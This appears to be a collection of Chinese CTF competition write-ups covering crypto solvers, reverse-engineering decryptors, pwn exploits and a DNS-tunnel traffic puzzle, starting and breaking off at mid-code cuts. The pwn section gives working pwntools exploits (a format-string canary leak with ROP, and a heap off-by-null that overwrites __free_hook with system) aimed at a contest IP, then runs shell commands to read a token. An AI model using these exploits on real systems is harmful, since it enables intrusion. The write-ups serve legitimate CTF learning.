76, 88, 4, 3, 55, 3, 3, 22, 85, 67, 98, 28, 32, 42, 48, 96, 69, 3, 83, 48, 26, 20, 45, 16, 45, 47, 92, 0, 54, 4, 73, 8, 31, 38, 3, 10, 84, 60, 59, 69, 64, 91, 98, 73, 81, 98, 9, 70, 44, 44, 24, 95, 83, 49, 31, 19, 89, 18, 20, 78, 86, 95, 83, 23, 42, 51, 95, 80, 48, 46, 88, 7, 47, 64, 55, 4, 62, 37, 71, 75, 98, 67, 98, 58, 66, 70, 24, 58, 56, 44, 11, 78, 1, 78, 89, 97, 83, 72, 98, 12, 41, 33, 14, 40, 27, 5, 18, 35, 25, 31, 69, 97, 84, 47, 25, 90, 78, 15, 72, 71] res = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24, -115, -9, -87, -56, -39, -30, -34, -4, -33, -5, -114, -21, -19, -7, -119, -107, -115, -6, -25, -27, -32, -62, -28, -20, -60, -121, -102, -10, -112, -7, -85, -110, -62, -100, -110, -29, -41, -55, -113, -112, -45, -106, -125, -25, -57, -27, -83, -2, -51, -118, -2, -10, -50, -40, -1, -82, -111, -113, -50, -48, -23, -33, -112, -38, -29, -26, -4, -40, -123, -4, -44, -120, -63, -38, -41, -22, -50, -50, -17, -122, -61, -5, -100, -22, -44, -47, -125, -125, -127, -55, -117, -100, -2, -26, -32, -111, -123, -118, -16, -24, -20, -40, -92, -40, -102, -49, -99, -45, -59, -98, -49, -13, -62, -128, -121, -114, -112, -13, -3, -4, -26, -35, -15, -35, -8, -18, -125, -14, -6, -60, -113, -104, -120, -64, -104, -55, -104, -41, -34, -106, -105, -2, -28, -14, -58, -128, -3, -1, -17, -38, -18, -12, -59, -4, -19, -82, -40, -122, -18, -42, -53, -60, -113, -40, -126, -15, -63, -40, -124, -114, -58, -26, -35, -26, -8, -48, -112, -52, -11, -117, -52, -32, -21, -38, -124, -13, -103, -6, -30, -33, -28, -31, -1, -97, -59, -64, -28, -1, -40, -2, -10, -26, -24, -3, -50, -113, -125, -122, -124, -5, -50, -62, -11, -8, -88, -109, -7, -31, -105, -54, -28, -8, -62, -58, -101, -58, -53, -124, -18, -124, -17, -109, -52, -45, -40, -109, -85, -7, -108, -121, -58, -49, -91, -102, -8, -10, -17, -55, -19, -11, -116, -47, -120, -121, -23, -99, -19, -51, -36, -110, -126, -29, -110, -9, -97, -54, -83, -86] dp = '' for i in range(len(res)): random.seed(seeds[i]) rands = [] for j in range(0,4): rands.append(random.randint(0,99)) dp += chr((~(res[i])|rands[i%4]) & ((res[i])|~rands[i%4])) del rands[i%4] print(dp) dp = int(dp) #dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407 from gmpy2 import * from Crypto.Util.number import * dp = '' e = 0x10001 length_dp = 309 c = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1, 222082, 30333, 55446, 207442, 193806, 149389, 173229, 349031, 152205, 1, 149157, 196626, 1, 222532, 10255, 46268, 171536, 0, 351788, 152678, 0, 172225, 109296, 0, 579280, 634746, 1, 668942, 157973, 1, 17884, 662728, 759841, 450490, 0, 139520, 157015, 616114, 199878, 154091, 1, 937462, 675736, 53200, 495985, 307528, 1, 804492, 790322, 463560, 520991, 436782, 762888, 267227, 306436, 1051437, 384380, 505106, 729384, 1261978, 668266, 1258657, 913103, 935600, 1, 1, 401793, 769612, 484861, 1024896, 517254, 638872, 1139995, 700201, 308216, 333502, 0, 0, 401082, 1514640, 667345, 1015119, 636720, 1011683, 795560, 783924, 1269039, 5333, 0, 368271, 1700344, 1, 383167, 7540, 1490472, 1484752, 918665, 312560, 688665, 967404, 922857, 624126, 889856, 1, 848912, 1426397, 1291770, 1669069, 0, 1709762, 130116, 1711413, 1336912, 2080992, 820169, 903313, 515984, 2211283, 684372, 2773063, 391284, 1934269, 107761, 885543, 0, 2551314, 2229565, 1392777, 616280, 1368347, 154512, 1, 1668051, 0, 2453671, 2240909, 2661062, 2880183, 1376799, 0, 2252003, 1, 17666, 1, 2563626, 251045, 1593956, 2215158, 0, 93160, 0, 2463412, 654734, 1, 3341062, 3704395, 3841103, 609968, 2297131, 1942751, 3671207, 1, 1209611, 3163864, 3054774, 1055188, 1, 4284662, 3647599, 247779, 0, 176021, 3478840, 783050, 4613736, 2422927, 280158, 2473573, 2218037, 936624, 2118304, 353989, 3466709, 4737392, 2637048, 4570953, 1473551, 0, 0, 4780148, 3299784, 592717, 538363, 2068893, 814922, 2183138, 2011758, 2296545, 5075424, 1814196, 974225, 669506, 2756080, 5729359, 4599677, 5737886, 3947814, 4852062, 1571349, 4123825, 2319244, 4260764, 1266852, 1, 3739921, 1, 5948390, 1, 2761119, 2203699, 1664472, 3182598, 6269365, 5344900, 454610, 495499, 6407607, 1, 1, 476694, 4339987, 5642199, 1131185, 4092110, 2802555, 0, 5323448, 1103156, 2954018, 1, 1860057, 128891, 2586833, 6636077, 3136169, 1, 3280730, 6970001, 1874791, 48335, 6229468, 6384918, 5412112, 1, 7231540, 7886316, 2501899, 8047283, 2971582, 354078, 401999, 6427168, 4839680, 1, 44050, 3319427, 0, 1, 1452967, 4620879, 5525420, 5295860, 643415, 5594621, 951449, 1996797, 2561796, 6707895, 7072739] list_p = sieve_base[0 : length_dp] list_q = sieve_base[length_dp : 2 * length_dp] for i in range(length_dp): p = list_p[i] q = list_q[i] phi = (p-1) * (q-1) d = invert(e, phi) dp += str(pow(c[i], d, p*q)) print(dp) import gmpy2 import binascii def decrypt(dp,dq,p,q,c): InvQ = gmpy2.invert(q,p) mp = pow(c,dp,p) mq = pow(c,dq,q) m = (((mp-mq) * InvQ)%p) * q + mq print(binascii.unhexlify(hex(m)[2:])) p = 119494148343917708105807117614773529196380452025859574123211538859983094108015678321724495609785332508563534950957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291955066822268279533978514896151007690729926904044407542983781817530576308669792533266431 q = 125132685086281666800573404868585424815247082213724647473226016452471461555742194042617318063670311290694310562746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827049478153958964127866484011400391821374773362883518683538899757137598483532099590137741 dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407 dq = 104137587579880166582178434901328539485184135240660490271571544307637817287517428663992284342411864826922600858353966205614398977234519495034539643954586905495941906386407181383904043194285771983919780892934288899562700746832428876894943676937141813284454381136254907871626581989544814547778881240129496262777 c = 10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210303055466145819256893293429223389828252657426030118534127684265261192503406287408932832340938343447997791634435068366383965928991637536875223511277583685579314781547648602666391656306703321971680803977982711407979248979910513665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451783712626665065161704126536742755054830427864982782030834837388544811172279496657776884209756069056812750476669508640817369423238496930357725842768918791347095504283368032 decrypt(dp,dq,p,q,c) 二、ez_equation 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353 z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651 y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221 import binascii import gmpy2 from Crypto.Util.number import * e = 0x10001 c = 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608364542618561981233050210507202948882989763960702612116316321009210541932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202874525798224508022092610499899166738864346749753379399602574550324310119667774229645827773608873832795828636770263111832990012205276425559363977526114225540962861740929659841165039419904164961095126757294762709194552018890937638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192203062405287670490877283269761047853117971492197659115995537837080400730294215778540754482680476723953659085854297184575548489544772248049479632420289954409052781880871933713121875562554234841599323223793407272634167421053493995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082485305372659584052445556638990497626342509620305749829144158797491411816819447836265318302080212452925144191536031249404138978886262136129250971366841779218675482632242265233134997115987510292911606736878578493796260507458773824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652789013340264587028424629766689059507844211910072808286250914059983957934670979551428204569782238857331272372035625901349763799005621577332502957693517473861726359829588419409120076625939502382579605 n = 19445950132976386911852381666731799463510958712950274248183192405937223343228119407660772413067599252710235310402278345391806863116119010697766434743302798644091220730819441599784039955347398797545219314925103529062092963912855489464914723588833817280786158985269401131919618320866942737291915603551320163001129725430205164159721810319128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278517689428198251426557591256226431727934365277683559038777220498839443423272238231659356498088824520980466482528835994554892785108805290209163646408594682458644235664198690503128767557430026565606308422630014285982847395405342842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274609074477086105160306134590864545056872161818418667370690945602050639825453927168529154141097668382830717867158189131567590506561475774252148991615602388725559184925467487450078068863876285937273896246520621965096127440332607637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339130895897510277714768645984660240750580001372772665297920679701044966607241859495087319998825474727920273063120701389749480852403561022063673222963354420556267045325208933815212625081478538158049144348626000996650436898760300563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237774415667909612730440407365124264956213064305556185423432341935847320496716090528514947 x = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353 z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651 y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221 p = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479146623 q = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479147403 phi=(p-1)*(q-1)*(x-1)*(y-1)*(z-1) d=gmpy2.invert(e,phi) m=pow(c,d,n) print(long_to_bytes(m)[256:-256]) 三、Strange from z3 import * from Crypto.Util.number import * m = BitVec('m', 384) s = Solver() m1 = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210933049560781360717427446713646109570038056138652803756149233612618692820860571507613112565167824369560313209417725 m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992 hint = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210307698279022584862990749963452589922185709026197210591472680780996507882639014068600165049839680108974873361895144 s.add(m1 == (m | hint)) s.add(m2 == (m & hint)) s.check() m = s.model() print(m) 0x04 Reverse一、signin 1144219440; #include <ctime> #include <stdio.h> #include <stdlib.h> #include <windows.h> unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0, 0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3, 0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4, 0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01, 0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42, 0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2, 0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58, 0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03, 0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD, 0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89, 0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD, 0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8, 0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F }; DWORD GetMagic1(int time,int x) { DWORD magic = 0x44336730 + x; DWORD v8 = 0; for(int i = 0 ; i< time ;i++){ v8 += magic; } return (v8 >> 2) & 3; } DWORD GetMagic2(int time,int x) { DWORD magic = 0x44336730 + x; DWORD v8 = 0; for (int i = 0; i < time; i++) { v8 += magic; } return v8; } int main() { unsigned long ENC[32] = { 0 }; for (int x = 0;x < 256;x++){ memcpy(ENC, Enc, 32 * 4); DWORD* a1 = (DWORD*)ENC; DWORD know[] = { 68,48,103,51 }; for (int j = 7; j > 0; j--) { DWORD v8 = GetMagic2(j,x); DWORD v6 = GetMagic1(j,x); DWORD v9 = a1[30]; a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3)) + ((4 * *a1) ^ (v9 >> 5))); for (int i = 30; i >= 0; i--) { if (i == 0) { v9 = a1[31]; } else { v9 = a1[i - 1]; } a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3)) + ((4 * a1[i + 1]) ^ (v9 >> 5))); } } if(ENC[0] < 256){ printf("%d",x); } } } # x = 77 int j = 0; int i = 0; int v1[128] = { 0 }; char table[32] = { 0 }; for(int sb = 0;sb<32;sb++){ table[sb] = sb + 1; } while (i < 32) { if (j % 6 >= 3) v1[32 * (3 - j % 3) + i] = table[i]; else v1[32 * (j % 3) + i] = table[i]; ++i; ++j; } char result[32] = { 0 }; int v7 = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 32; ++j) { if (v1[32 * i + j]) result[v7++] = (unsigned __int8)v1[32 * i + j]; } } __asm int 3; char ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16,0x1c }; for(int i = 0;i<32;i++){ ConverTable[i] -= 1; } char sb[33] = { 0 }; for(int i = 0;i<32;i++){ sb[ConverTable[i]] =(char)ENC[i]; } sb[31] ^= sb[0]; for(int i = 30 ;i>=0;i--){ // printf("%d", i); sb[i] ^= sb[(i + 1) % 32]; } printf("%s", sb); 二、virus #include <windows.h> #include <stdio.h> void __cdecl sub_401790(char* a1, char* a2) { DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF int v3; // [esp+12Ch] [ebp-1Ch] int v4; // [esp+130h] [ebp-18h] int v5; // [esp+134h] [ebp-14h] int j; // [esp+138h] [ebp-10h] int v7; // [esp+13Ch] [ebp-Ch] int v8; // [esp+140h] [ebp-8h] int i; // [esp+144h] [ebp-4h] for (i = 0; i < 4; ++i) { v8 = *(char*)(i + a1); for (j = 6; j >= 0; --j) { v2[7 * i + 28 + j] = v8 % 2; v8 /= 2; v2[7 * i + j] = v2[7 * i + 28 + j]; } } v5 = 0; v4 = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 7; ++j) { v3 = v2[7 * v5 + v4]; v2[7 * i + 28 + j] = v3; v5 = (v5 + 1) % 4; v4 = (v4 + 2) % 7; } } for (i = 0; i < 4; ++i) { v7 = 0; for (j = 0; j < 6; ++j) { v7 = 2 * (v7 + v2[7 * i + 28 + j]); if (v2[7 * i + 29 + j] == 1 && j == 5) ++v7; } *(BYTE*)(i + a2) = v7; } } void baopo() { char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/_-" }; char key[5] = { "" }; for (int a1 = 0; a1 < strlen(table); a1++) for (int a2 = 0; a2 < strlen(table); a2++) for (int a3 = 0; a3 < strlen(table); a3++) for (int a4 = 0; a4 < strlen(table); a4++) { key[0] = table[a1]; key[1] = table[a2]; key[2] = table[a3]; key[3] = table[a4]; char test[5] = { 0 }; lstrcpynA(test, key, 5); char result[20] = { 0 }; for (int i = 0; i < 4; i++) { sub_401790(key, result); lstrcpynA(key, result, 5); } if (!strcmp(key, "Lroo")) { printf("%s", test); system("pause"); } } } unsigned char Enc[] = { 0x5C, 0x89, 0xEE, 0xF5, 0x6F, 0xC5, 0x44, 0x92, 0xDB, 0xE3, 0xAE, 0x9C, 0xB5, 0x4F, 0x4A, 0xF4, 0xE7, 0xA3, 0x5E, 0x0F, 0xFC, 0x93, 0xFC, 0x76, 0x6C, 0xFB, 0x29, 0xE0, 0x16, 0x2F, 0xA5, 0x67 }; unsigned long key[] = { 0xCBD6C588, 0x03F17D27, 0x1C18E9CC, 0xFE024DB3, 0xD71737EB, 0x7B9B1EAB, 0x2776BBA4, 0xBD2018C0, 0x356D0553, 0x0C825513, 0xCAAFF094, 0x9DFBCBA1, 0x7EB6B878, 0x47630F35, 0x4B494BBE, 0x34FD620A, 0x14CF85EF, 0xD754E93A, 0x338B4918, 0xC0846091, 0xD526F236, 0xB9CE1FC7, 0xCB537B6A, 0x25FDD8EA, 0x7221094B, 0xA1F73ABF, 0x2473D8CC, 0x8FA4F2F2, 0x1E7CAC59, 0xEC581806, 0x425D33C3, 0xBEB16ED4, 0xE5C0CA70, 0x02B60624, 0x3011744F, 0xF73A6E51 }; DWORD pack(const char * a) { int r = 0; for(int i = 0;i<4;i++){ r <<= 8; r |= (BYTE)a[i]; } return r; } DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v) { HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0); WaitForSingleObject(hThread, -1); DWORD ret = 0; GetExitCodeThread(hThread, &ret); CloseHandle(hThread); return ret; } int main(void) { for(int x = 0;x<2;x++) { unsigned v1 = pack((const char*)Enc + 12 + 16 *x); unsigned v2 = pack((const char*)Enc + 8 + 16*x); unsigned v3 = pack((const char*)Enc + 4 + 16 *x); unsigned v4 = pack((const char*)Enc + 16 *x); unsigned Temp[36] = { 0 }; Temp[32] = v1; Temp[33] = v2; Temp[34] = v3; Temp[35] = v4; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 5052); for (int i = 31; i >= 0; i--) { Temp[i] = GetRemoteCallValue(hProcess, Temp[i + 1] ^ Temp[i + 2] ^ Temp[i + 3] ^ key[i + 4]) ^ Temp[i + 4]; } for (int i = 0; i < 4; i++) { Temp[i] ^= 0x06070607; } char* sb1 = (char*)Temp; for(int i = 0;i<4;i++){ for(int j = 0 ; j< 4;j++){ printf("%c", sb1[i * 4 + (3 - j)]); } } } system("pause"); } 三、maze import base64 import string str1 = "QCAmN2sYNGUfR3EvOUMuNWYkW3k1JR==" string1 = "BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqtsvuxwzy1032547698+/" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print (base64.b64decode(str1.translate(str.maketrans(string1,string2)))) from z3 import * enc = [0x0e,0x5D, 0x7D, 0x7D, 0x5D, 0x4E, 0x4E, 0x4E, 0x5D, 0x7D, 0x6B, 0x4B, 0x5D, 0x5D, 0x4E, 0x4E, 0x59, 0x59, 0x59, 0x59, 0x6B, 0x5D, 0x53, 0x24, 0x7B, 0x34, 0x07, 0x49, 0x01, 0x1B, 0x23, 0x27, 0x7E, 0x35, 0x3F, 0x12, 0x1B, 0x29, 0x32, 0x09, 0x16, 0x12, 0x60, 0x4A] sb = [BitVec(f"sb[{i}]",8) for i in range(45)] s = Solver() for i in range(1,44): s.add(sb[i-1] & 0xe0 | sb[i] & 0x1f == enc[i] print(s.check()) print(s.model()) 0] *44 path[43] = 10 path[0] = 64 path[22] = 51 path[13] = 93 path[20] = 75 path[33] = 53 path[42] = 64 path[14] = 78 path[5] = 78 path[3] = 93 path[32] = 62 path[34] = 31 path[29] = 59 path[17] = 89 path[38] = 18 path[16] = 89 path[37] = 41 path[26] = 71 path[39] = 9 path[2] = 125 path[9] = 125 path[11] = 75 path[30] = 35 path[31] = 103 path[27] = 9 path[21] = 93 path[8] = 125 path[19] = 121 path[35] = 18 path[12] = 93 path[4] = 93 path[28] = 1 path[40] = 22 path[23] = 100 path[24] = 59 path[10] = 75 path[1] = 125 path[25] = 20 path[36] = 59 path[41] = 114 path[15] = 78 path[7] = 78 path[6] = 78 path[18] = 89 flag = "" maze = "dWWwwdddWWaawwddsssSaw" for i in range(44): flag += chr(path[i] ^ ord(maze[i % len(maze)])) print(flag) 四、localhost:2333 0x9b, 0xaa, 0xcb, 0xf5, 0x8a, 0xc8, 0xa1, 0x89, 0xe0, 0xa5, 0x7e, 0x10, 0x3a, 0x0d, 0x31, 0x75, 0x2d, 0x7e, 0x77, 0x64, 0x4a, 0x2b, 0xeb, 0xac, 0x08, 0x84, 0x2b, 0x24, 0x24, 0xaf] xor_key = [0x47, 0x4f, 0x4c, 0x40, 0x6e, 0x44, 0x7e, 0x21, 0x21, 0x21] magic_key = 0xff flag = "" for i in range(0, 10): if i == 0: magic_key = 0xff else: magic_key = enc[i - 1] raw = (enc[i] + i ^ magic_key) flag += chr(raw) for i in range(10, 20): flag += chr(enc[i] ^ xor_key[i - 10]) # >> 3 << 5 for i in range(20, 30): flag += chr(enc[i] << 3 & 0xf8 | (enc[i] >> 5) & 0xff) print(flag) 0x05 Pwn一、ezstackfrom pwn import * context.log_level = "debug" i = 0 canary = 11 p = remote("47.108.195.119", 20113) p.sendline("Gerontic_D1no") p.sendline("68") p.recv() p.sendline("%11$p,%17$p") p.recvuntil("0x") canary = u64(p.recv(16).decode("hex")[::-1]) p.recvuntil("0x") prog_base = u64(p.recv(12).decode("hex")[::-1].ljust(8,"\x00")) - 0x9dc success("prog => " + hex(prog_base)) p.sendline(cyclic(0x18) + p64(canary) + cyclic(8) + p64(prog_base + 0xb03) + p64(prog_base + 0xb24)+ p64(prog_base + 0x810) ) p.sendline("echo hello && cat sky_token") p.recvuntil("hello\n") token = p.recv() p.sendline("exit") success("token => " + token) p.send(token) p.interactive() 二、off-by-nullfrom pwn import * context.log_level = "debug" p = remote("47.108.195.119", 20182) # p = process(['../pwn'], env={'LD_PRELOAD': '/home/cshi/pwn/libc.so.6'}) so = ELF('../libc.so.6') p.sendline("Gerontic_D1no") p.sendline("68") p.recvuntil("please input a str:") p.sendline('N0_py_1n_tHe_ct7') def choice(c): p.recvuntil(">") p.sendline(str(c)) def add(index, size): choice(1) p.recvuntil('?') p.sendline(str(index)) p.recvuntil("?") p.sendline(str(size)) def show(index): choice(2) p.recvuntil("?") p.sendline(str(index)) def edit(index, content): choice(3) p.recvuntil("?") p.sendline(str(index)) p.recvuntil(":") p.send(content) def free(index): choice(4) p.recvuntil("?") p.sendline(str(index)) add(0, 0x4f0) add(1, 0x18) add(2, 0x4f0) add(3, 0x10) free(0) add(0, 0x4f0) show(0) leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = leak - 96 - 0x10 - so.sym['__malloc_hook'] success("libc_base => " + hex(libc_base)) free(0) edit(1, b'a' * 0x10 + p64(0x500 + 0x20)) free(2) add(0, 0x4f0) add(4, 0x10) free(4) edit(1, p64(libc_base + so.sym['__free_hook'])) add(5, 0x10) edit(5, '/bin/sh\x00') add(6, 0x10) edit(6, p64(libc_base + so.sym['system'])) free(5) sleep(0.1) p.sendline("echo hello && cat sky_token") p.recvuntil("hello\n") token = p.recv() p.sendline("exit") success("token => " + token) p.sendline("5") sleep(1) p.send(token) p.interactive() p.interactive() 其他参考文献:https://mp.weixin.qq.com/s/vC2bgJlYfA8wzXcmQFynlAhttps://blog.csdn.net/weixin_52091458/article/details/121591421from: https://www.anquanke.com/post/id/260900
  13. MISC1 签到难度 签到 复制给出的flag输入即可 2 range_download难度 中等 flag{6095B134-5437-4B21-BE52-EDC46A276297} 0x01分析dns流量,发现dns && ip.addr=1.1.1.1存在dns隧道数据,整理后得到base64: cGFzc3dvcmQ6IG5zc195eWRzIQ== 解base64得到: password: nss_yyds! 0x02分析http流量,发现ip.addr==172.21.249.233存在http分段下载数据,每次按照请求头range要求只下载一个字节。由于是random下载,所以需要按顺序整理,整理后可以得到一个加密的压缩包。 在整理过程中会发现缺失2349位字节,需要尝试对其进行修复。 由于0x01中,我们得到了zip的密码,所以可以对该字节进行爆破,如果密码正确,则修复成功。 0x03解开压缩包得到二维码, 扫描后得到: 5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3dciphey分析得到flag: ciphey "5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d" Possible plaintext: '5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786 a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555 570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316 c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d' (y/N): Possible plaintext: '5133687161454v534v6y394w4w325z7854475233566v6870626z42554v6z5z4z5645466x4v47786 z62324v464w47705557464635546w6x536148565165564659645563774v327073515863324u5846555247314555564134555 570706344686957444w336544684x596x4255556v6333636v687165486x756446413351577470566v4242526y6x4z5457316 x515452754w555661636v4z7859556430566x4w3559557844656z4z35626x68334w6w5z4x51513w3w' (y/N): Possible plaintext: 'w3w31515x4z5w6w43386x62653z4z6564487559553w4x6650346559587z4v636166555w45725451 5x6137545z4x6y6252424v665074775153314644657x684561786v6363336v6555524x695x486445633w4447596864436070 755554314655554137425556485u423368515370723v477365546956465561565841635x6w64553646475550774w464v4232 6z68774v4x6645465z4z5z6v45524z6260786v6653325744587z523w4w493y6v435v4541617863315' (y/N): Possible plaintext: 'd3d31515c4a5d6d43386c62653a4a6564487559553d4c6650346559587a4e636166555d45725451 5c6137545a4c6b6252424e665074775153314644657c684561786e6363336e6555524c695c486445633d4447596864436070 755554314655554137425556485f423368515370723e477365546956465561565841635c6d64553646475550774d464e4232 6a68774e4c6645465a4a5a6e45524a6260786e6653325744587a523d4d493b6e435e4541617863315' (y/N): Possible plaintext: 'flag{6095B134-5437-4B21-BE52-EDC46A276297}' (y/N): y ╭────────────────────────────────────────────────────────────────╮ │ The plaintext is a Capture The Flag (CTF) Flag │ │ Formats used: │ │ hexadecimal │ │ base64 │ │ utf8 │ │ base62 │ │ base58_bitcoin │ │ base32 │ │ utf8Plaintext: "flag{6095B134-5437-4B21-BE52-EDC46A276297}" │ ╰────────────────────────────────────────────────────────────────╯0x04题目流量生成脚本: import os import time import requests import random for i in "cG Fz c3 dv cm Q6 IG 5z c1 95 eW Rz IQ ==".split(" "): os.system("nslookup " + i+".nss.neusoft.edu.cn 1.1.1.1") time.sleep(5) l = int(requests.head("http://172.21.249.233/flag.7z", stream=True).headers["Content-Length"]) a = set() while len(a) != l: b = random.randint(0, l) r = requests.get("http://172.21.249.233/flag.7z", stream=True, headers={"Range": "bytes=" + str(b) + "-" + str(b)}) if r.status_code == 416: print(b) a.add(b) print(len(a)) 3 只是个PNG,别想太多了.png难度 签到 flag:flag{zhe_ti_mu_ye_tai_bt_le_XD} 